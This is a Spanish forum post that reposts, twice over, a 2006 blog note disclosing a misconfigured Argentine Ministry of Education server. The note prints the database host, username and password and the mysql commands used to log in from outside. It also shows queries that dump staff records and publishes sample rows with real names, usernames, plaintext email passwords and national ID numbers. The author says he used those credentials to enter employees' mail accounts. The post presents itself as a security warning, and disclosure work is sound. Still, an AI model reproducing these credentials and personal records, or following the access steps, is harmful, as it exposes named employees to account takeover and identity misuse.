Hack a Gobierno ? - Ayuda a Gobierno ?
Copio aqui el texto completo de una página en internet, como no sé cuanto durará...
Espero que eso sirva para mejorar algo y no para intentar crucificar al mensajero.
miércoles, enero 11, 2006
Como ver los datos personales de los empleados del Ministerio de Educación, en 3 pasos fáciles.
Como ver los datos personales de los empleados del Ministerio de Educación, en 3 pasos fáciles.
NOTA PARA SITIO WEB DE SOLAR.
La noche del 9 de Enero, un miembro de SOLAR que se hace llamar "Zorro", publicó la direccion de internet (URL) de un archivo perteneciente al Ministerio de Educacion (ME). Este archivo no deberia estar a disposición del público, ya que es de uso interno del servidor del ME. Lamentablemente, alguien en el ME configuró mal el servidor y ese documento quedó visible. Se trata de un archivo con extension .inc con codigo de programa (en lenguaje PHP), que en lugar de mostrarse, deberia ejecutarse y mostrarse el resultado de esta ejecución. Como el código estaba disponible, se podia leer, entre otras cosas, esta linea:
$link = mysql_connect("bdatos.me.gov.ar", "A_dsweb","EcSdrT");
Aca se expone informacion mas que interesante, a saber:
1. Direccion de la base de datos del ME, en este caso:
2. Nombre de un usuario.
3. Contraseña de ese usuario.
A esta altura, un miembro de la lista de SOLAR dice que de poco sirve esa información, ya que lo razonable seria que uno no pueda acceder a la base de datos desde un dominio de internet no autorizado. No siempre lo razonable es lo que pasa, la vida nos da sorpresas, y en este caso, compruebo que el servidor es accesible desde cualquier lugar de internet (no creo que mi dominio sea un dominio autorizado, por lo que supongo que no existe restriccion de acceso por lugar).
Para comprobarlo, uso este comando:
sbassi@vicky2:/home/vicky $ mysqladmin -h bdatos.me.gov.ar -u A_dsweb -pEcSdrT ping
Y obtengo como respuesta:
mysqld is alive
Al momento de escribir esto, 11 de Enero de 2006, todavia funciona, lo que significa que aun no han cambiado la contraseña. Espero que gracias a esta nota lo hagan.
Esto ya parecia preocupante. Para ver la magnitud del problema, exploré el contenido de esa base de datos, para determinar si estaban expuestos datos confidenciales. Primero me conecté a la base de datos, usando el programa MySQL que tengo instalado en mi Ubuntu Linux:
sbassi@vicky2:/home/vicky $ mysql -h bdatos.me.gov.ar -u A_dsweb -pEcSdrT
Con esto ya estaba adentro. Luego mire que bases habia presente:
mysql> show databases;
+----------+
| Database |
+----------+
| dsweb |
+----------+
1 row in set (0.05 sec)
Inmediatamente entre a esa base y listé sus tablas:
mysql> use dsweb;
mysql> show tables;
+------------------+
| Tables_in_dsweb |
+------------------+
| accesos |
| agetel |
| asignot |
| autores |
| ceremonial1 |
| ceremonial2 |
| ceremonial3 |
| ceremonial4 |
| ceremonial5 |
| claves |
| claves_ |
| congreso3aap |
| contadores |
| cuadros |
| departamentos |
| desenlaces |
| desenlaces2 |
| despacho |
| direcciones |
| dispositivos |
| edificios |
| enlaces |
| eventos |
| hweb |
| ife |
| mail |
| maquinas |
| ncos |
| ncos01 |
| ncos02 |
| ncos03 |
| ot_maq |
| prueba |
| sitios |
| soporte |
| soporte01 |
| soporte02 |
| tecnicas |
| tel_dependencias |
| tel_usuarios |
| tempo1 |
| tramix |
+------------------+
42 rows in set (0.09 sec)
mysql>
El siguiente paso es explorar el contenido de las tablas que parecen mas interesantes (claves, mail, etc). En el caso de mail, pude obtener informacion confidencial con la siguiente consulta de MySQL:
mysql> select nombre,usuario,clave from mail;
El resultado de esta consulta es muy largo como para publicar aca, basicamente se trata de los nombres completos, nombres de usuario y clave de correo de mas de 1300 empleados del ME.
Como muestra, publico algunas lineas:
| Aníbal Renzulli | arenzulli | 1532rzl |
| Nélida María Razzotti | nrazzotti | 861nlt |
| Programa Calidad Univ. | spucalidad | QlT9130 |
| Prog. Calidad Universitaria | spuciclos | Cspu205 |
| Andrea Rossi | arossi | 1161 |
Esto es grave. Con esta informacion podemos revisar el correo electronico de los empleados del ME. Para hacerlo hay que autenticarse en su webmail, que queda en: https://webs.me.gov.ar/WebMEil/index.php (la direccion fue obtenida usando el propio buscador del ME, no es ningun secreto). Lo sorprendente en este caso es que las claves esten "abiertas", esto es, en texto plano, listas para usar. Normalmente se guarda un "hash" (o firma) de la clave, pero no la clave en si. Este hash suele ser un codigo hexadecimal producto de algun algoritmo que "encripta" las claves en una sola via (o sea, no puede usarse el producto o hash para recomponer la clave) como el MD5. Esto tampoco es infalible, ya que hay utilidades como md5crack que prueban por fuerza bruta distintas contraseñas hasta encontrar una coincidencia entre el hash y la contraseña. Incluso hay servicios via Web que hacen algo similar (http://www.securitystats.com/tools/hashcrack.php , http://gdataonline.com/seekhash.php). A pesar de no ser una tecnica 100% segura (la probabilidad de romper la contraseña depende inversamente de la longitud y complejidad de la misma), es por lejos una mejor solución que almacenar las contraseñas en texto plano.
Si ademas quieren los telefonos personales y DNI, pueden obtenerlo con:
mysql> select * from mail;
La salida de este comando es logicamente mas completa que el anterior, por lo que tampoco sera publicado. En ambos casos tuve que ampliar el buffer de mi Gnome Terminal para poder capturar toda la salida (mas de 700Kb). Aqui muestro un fragmento al azar del resultado de esta consulta:
| | Avda. Santa Fe Piso 12 | NULL | Despacho | | 6236 | Fabricio Richiardi | 15:00hs. a 19:00hs. | frichardi | fbc938 | 12-08-05 | | 28.938.969 | |
| NULL | Dire. de G. C. y F. Docente | Lic. Alejandra Birgin | | Marcelo T. Alvear Piso 1° | NULL | 134 | | 7408 | Iván Alejandro S. Salgueiro | de 15:.ohs. a 19:00hs. | issalgueiro | 894ndr | 19-08-05 | | 92.894.155 | |
| NULL | Coordinación Gral. Estudios de Costos | Luisa Duro | | Avda. Santa Fe Piso 14° | NULL | frente | | 6277/1983 | Ana Beatriz Copes | 10:00hs. a 18:00hs. | acopes | trz152 | 19-08-05 | | 22.702.152 | |
| NULL | DINIECE | Margarita Poggi | | Paraguay Piso 2° | NULL | 202 | | 1448/1422 | Juan Pablo Rodriguez | 12:00hs. a 19:00hs. |
A esta altura de los acontecimientos estaba escribiendo a los responsables del ME, lo hice utilizando el formulario de contacto que esta en su página, pero hasta ahora no he tenido ninguna respuesta, a pesar que di ejemplos de la cantidad y calidad de informacion que se esta filtrando. Incluso publiqué en mi blog parte de la informacion, con la intencion de informar del problema, ya que estimo que cuanto mas gente sepa lo que esta pasando, antes será tapado el agujero.
Conclusiones:
Esta filtracion de datos no se produjo "por un error", sino por la sumatoria de 3 errores:
1. Publicacion del archivo .inc en lugar de su ejecución.
2. Base de datos sin limite de acceso.
3. Almacenamiento de claves sin encriptar.
Antes que alguien argumente que la publicacion del codigo fuente es un problema de seguridad (como critica al software libre), comento que no hay necesidad de incluir contraseñas en un codigo que es para distribucion. De hecho el problema surge aqui porque hay una distribucion involuntaria del codigo fuente. Si alguien se pregunta como encontraron ese código que supuestamente no estaba destinado al público, la respuesta es sencilla: Google. Mauro Lacy nos ilustró con este ejemplo de cadena de búsqueda .
Los resultados son nada mas ni nada menos que las páginas que no deberian verse dentro del dominio .gov.ar. Ante la controversia sobre si Google deberia dar esa informacion, opino que hay que tener en cuenta que el buscador es solo un mensajero, y que si tuvo acceso a esa información, es porque el operador la puso disponible como primera medida, Google solamente indexa siguiendo enlaces que son de acceso publico.
¿Que medidas deberian tomarse contra el administrador de sistemas del ME, que deja al desnudo todos los datos personales de los trabajadores? Es dificil opinar desde aca. Evidentemente se ha cometido un error (o varios segun como se vea) y el primero que debe responder es el encargado del area, pero como desconozco las condiciones de trabajo de esa persona (con que recursos cuenta, que libertad de accion tiene, etc) me parece apresurado emitir un juicio de valor sobre su responsabilidad.
El proposito de esta nota es ilustrar sobre los problemas de seguridad y alertar al ME sobre estos problemas, ya que a pesar de haberles escrito, no han dado ninguna respuesta. Como medida adicional de aviso, escribi a varios usuarios usando sus propias cuentas, ya que los usuarios al ser los mas afectados son quienes reclamarian ante quien corresponda. El hecho que sea época de vacaciones seguramente contribuye a que pasen los días sin que se solucione. La gente debe tomarse vacaciones, pero la seguridad, no.
Sebastian Bassi.
sbassi+solar@gmail.com
Espero que eso sirva para mejorar algo y no para intentar crucificar al mensajero.
miércoles, enero 11, 2006
Como ver los datos personales de los empleados del Ministerio de Educación, en 3 pasos fáciles.
Como ver los datos personales de los empleados del Ministerio de Educación, en 3 pasos fáciles.
NOTA PARA SITIO WEB DE SOLAR.
La noche del 9 de Enero, un miembro de SOLAR que se hace llamar "Zorro", publicó la direccion de internet (URL) de un archivo perteneciente al Ministerio de Educacion (ME). Este archivo no deberia estar a disposición del público, ya que es de uso interno del servidor del ME. Lamentablemente, alguien en el ME configuró mal el servidor y ese documento quedó visible. Se trata de un archivo con extension .inc con codigo de programa (en lenguaje PHP), que en lugar de mostrarse, deberia ejecutarse y mostrarse el resultado de esta ejecución. Como el código estaba disponible, se podia leer, entre otras cosas, esta linea:
$link = mysql_connect("bdatos.me.gov.ar", "A_dsweb","EcSdrT");
Aca se expone informacion mas que interesante, a saber:
1. Direccion de la base de datos del ME, en este caso:
2. Nombre de un usuario.
3. Contraseña de ese usuario.
A esta altura, un miembro de la lista de SOLAR dice que de poco sirve esa información, ya que lo razonable seria que uno no pueda acceder a la base de datos desde un dominio de internet no autorizado. No siempre lo razonable es lo que pasa, la vida nos da sorpresas, y en este caso, compruebo que el servidor es accesible desde cualquier lugar de internet (no creo que mi dominio sea un dominio autorizado, por lo que supongo que no existe restriccion de acceso por lugar).
Para comprobarlo, uso este comando:
sbassi@vicky2:/home/vicky $ mysqladmin -h bdatos.me.gov.ar -u A_dsweb -pEcSdrT ping
Y obtengo como respuesta:
mysqld is alive
Al momento de escribir esto, 11 de Enero de 2006, todavia funciona, lo que significa que aun no han cambiado la contraseña. Espero que gracias a esta nota lo hagan.
Esto ya parecia preocupante. Para ver la magnitud del problema, exploré el contenido de esa base de datos, para determinar si estaban expuestos datos confidenciales. Primero me conecté a la base de datos, usando el programa MySQL que tengo instalado en mi Ubuntu Linux:
sbassi@vicky2:/home/vicky $ mysql -h bdatos.me.gov.ar -u A_dsweb -pEcSdrT
Con esto ya estaba adentro. Luego mire que bases habia presente:
mysql> show databases;
+----------+
| Database |
+----------+
| dsweb |
+----------+
1 row in set (0.05 sec)
Inmediatamente entre a esa base y listé sus tablas:
mysql> use dsweb;
mysql> show tables;
+------------------+
| Tables_in_dsweb |
+------------------+
| accesos |
| agetel |
| asignot |
| autores |
| ceremonial1 |
| ceremonial2 |
| ceremonial3 |
| ceremonial4 |
| ceremonial5 |
| claves |
| claves_ |
| congreso3aap |
| contadores |
| cuadros |
| departamentos |
| desenlaces |
| desenlaces2 |
| despacho |
| direcciones |
| dispositivos |
| edificios |
| enlaces |
| eventos |
| hweb |
| ife |
| mail |
| maquinas |
| ncos |
| ncos01 |
| ncos02 |
| ncos03 |
| ot_maq |
| prueba |
| sitios |
| soporte |
| soporte01 |
| soporte02 |
| tecnicas |
| tel_dependencias |
| tel_usuarios |
| tempo1 |
| tramix |
+------------------+
42 rows in set (0.09 sec)
mysql>
El siguiente paso es explorar el contenido de las tablas que parecen mas interesantes (claves, mail, etc). En el caso de mail, pude obtener informacion confidencial con la siguiente consulta de MySQL:
mysql> select nombre,usuario,clave from mail;
El resultado de esta consulta es muy largo como para publicar aca, basicamente se trata de los nombres completos, nombres de usuario y clave de correo de mas de 1300 empleados del ME.
Como muestra, publico algunas lineas:
| Aníbal Renzulli | arenzulli | 1532rzl |
| Nélida María Razzotti | nrazzotti | 861nlt |
| Programa Calidad Univ. | spucalidad | QlT9130 |
| Prog. Calidad Universitaria | spuciclos | Cspu205 |
| Andrea Rossi | arossi | 1161 |
Esto es grave. Con esta informacion podemos revisar el correo electronico de los empleados del ME. Para hacerlo hay que autenticarse en su webmail, que queda en: https://webs.me.gov.ar/WebMEil/index.php (la direccion fue obtenida usando el propio buscador del ME, no es ningun secreto). Lo sorprendente en este caso es que las claves esten "abiertas", esto es, en texto plano, listas para usar. Normalmente se guarda un "hash" (o firma) de la clave, pero no la clave en si. Este hash suele ser un codigo hexadecimal producto de algun algoritmo que "encripta" las claves en una sola via (o sea, no puede usarse el producto o hash para recomponer la clave) como el MD5. Esto tampoco es infalible, ya que hay utilidades como md5crack que prueban por fuerza bruta distintas contraseñas hasta encontrar una coincidencia entre el hash y la contraseña. Incluso hay servicios via Web que hacen algo similar (http://www.securitystats.com/tools/hashcrack.php , http://gdataonline.com/seekhash.php). A pesar de no ser una tecnica 100% segura (la probabilidad de romper la contraseña depende inversamente de la longitud y complejidad de la misma), es por lejos una mejor solución que almacenar las contraseñas en texto plano.
Si ademas quieren los telefonos personales y DNI, pueden obtenerlo con:
mysql> select * from mail;
La salida de este comando es logicamente mas completa que el anterior, por lo que tampoco sera publicado. En ambos casos tuve que ampliar el buffer de mi Gnome Terminal para poder capturar toda la salida (mas de 700Kb). Aqui muestro un fragmento al azar del resultado de esta consulta:
| | Avda. Santa Fe Piso 12 | NULL | Despacho | | 6236 | Fabricio Richiardi | 15:00hs. a 19:00hs. | frichardi | fbc938 | 12-08-05 | | 28.938.969 | |
| NULL | Dire. de G. C. y F. Docente | Lic. Alejandra Birgin | | Marcelo T. Alvear Piso 1° | NULL | 134 | | 7408 | Iván Alejandro S. Salgueiro | de 15:.ohs. a 19:00hs. | issalgueiro | 894ndr | 19-08-05 | | 92.894.155 | |
| NULL | Coordinación Gral. Estudios de Costos | Luisa Duro | | Avda. Santa Fe Piso 14° | NULL | frente | | 6277/1983 | Ana Beatriz Copes | 10:00hs. a 18:00hs. | acopes | trz152 | 19-08-05 | | 22.702.152 | |
| NULL | DINIECE | Margarita Poggi | | Paraguay Piso 2° | NULL | 202 | | 1448/1422 | Juan Pablo Rodriguez | 12:00hs. a 19:00hs. |
A esta altura de los acontecimientos estaba escribiendo a los responsables del ME, lo hice utilizando el formulario de contacto que esta en su página, pero hasta ahora no he tenido ninguna respuesta, a pesar que di ejemplos de la cantidad y calidad de informacion que se esta filtrando. Incluso publiqué en mi blog parte de la informacion, con la intencion de informar del problema, ya que estimo que cuanto mas gente sepa lo que esta pasando, antes será tapado el agujero.
Conclusiones:
Esta filtracion de datos no se produjo "por un error", sino por la sumatoria de 3 errores:
1. Publicacion del archivo .inc en lugar de su ejecución.
2. Base de datos sin limite de acceso.
3. Almacenamiento de claves sin encriptar.
Antes que alguien argumente que la publicacion del codigo fuente es un problema de seguridad (como critica al software libre), comento que no hay necesidad de incluir contraseñas en un codigo que es para distribucion. De hecho el problema surge aqui porque hay una distribucion involuntaria del codigo fuente. Si alguien se pregunta como encontraron ese código que supuestamente no estaba destinado al público, la respuesta es sencilla: Google. Mauro Lacy nos ilustró con este ejemplo de cadena de búsqueda .
Los resultados son nada mas ni nada menos que las páginas que no deberian verse dentro del dominio .gov.ar. Ante la controversia sobre si Google deberia dar esa informacion, opino que hay que tener en cuenta que el buscador es solo un mensajero, y que si tuvo acceso a esa información, es porque el operador la puso disponible como primera medida, Google solamente indexa siguiendo enlaces que son de acceso publico.
¿Que medidas deberian tomarse contra el administrador de sistemas del ME, que deja al desnudo todos los datos personales de los trabajadores? Es dificil opinar desde aca. Evidentemente se ha cometido un error (o varios segun como se vea) y el primero que debe responder es el encargado del area, pero como desconozco las condiciones de trabajo de esa persona (con que recursos cuenta, que libertad de accion tiene, etc) me parece apresurado emitir un juicio de valor sobre su responsabilidad.
El proposito de esta nota es ilustrar sobre los problemas de seguridad y alertar al ME sobre estos problemas, ya que a pesar de haberles escrito, no han dado ninguna respuesta. Como medida adicional de aviso, escribi a varios usuarios usando sus propias cuentas, ya que los usuarios al ser los mas afectados son quienes reclamarian ante quien corresponda. El hecho que sea época de vacaciones seguramente contribuye a que pasen los días sin que se solucione. La gente debe tomarse vacaciones, pero la seguridad, no.
Sebastian Bassi.
sbassi+solar@gmail.com
Comentarios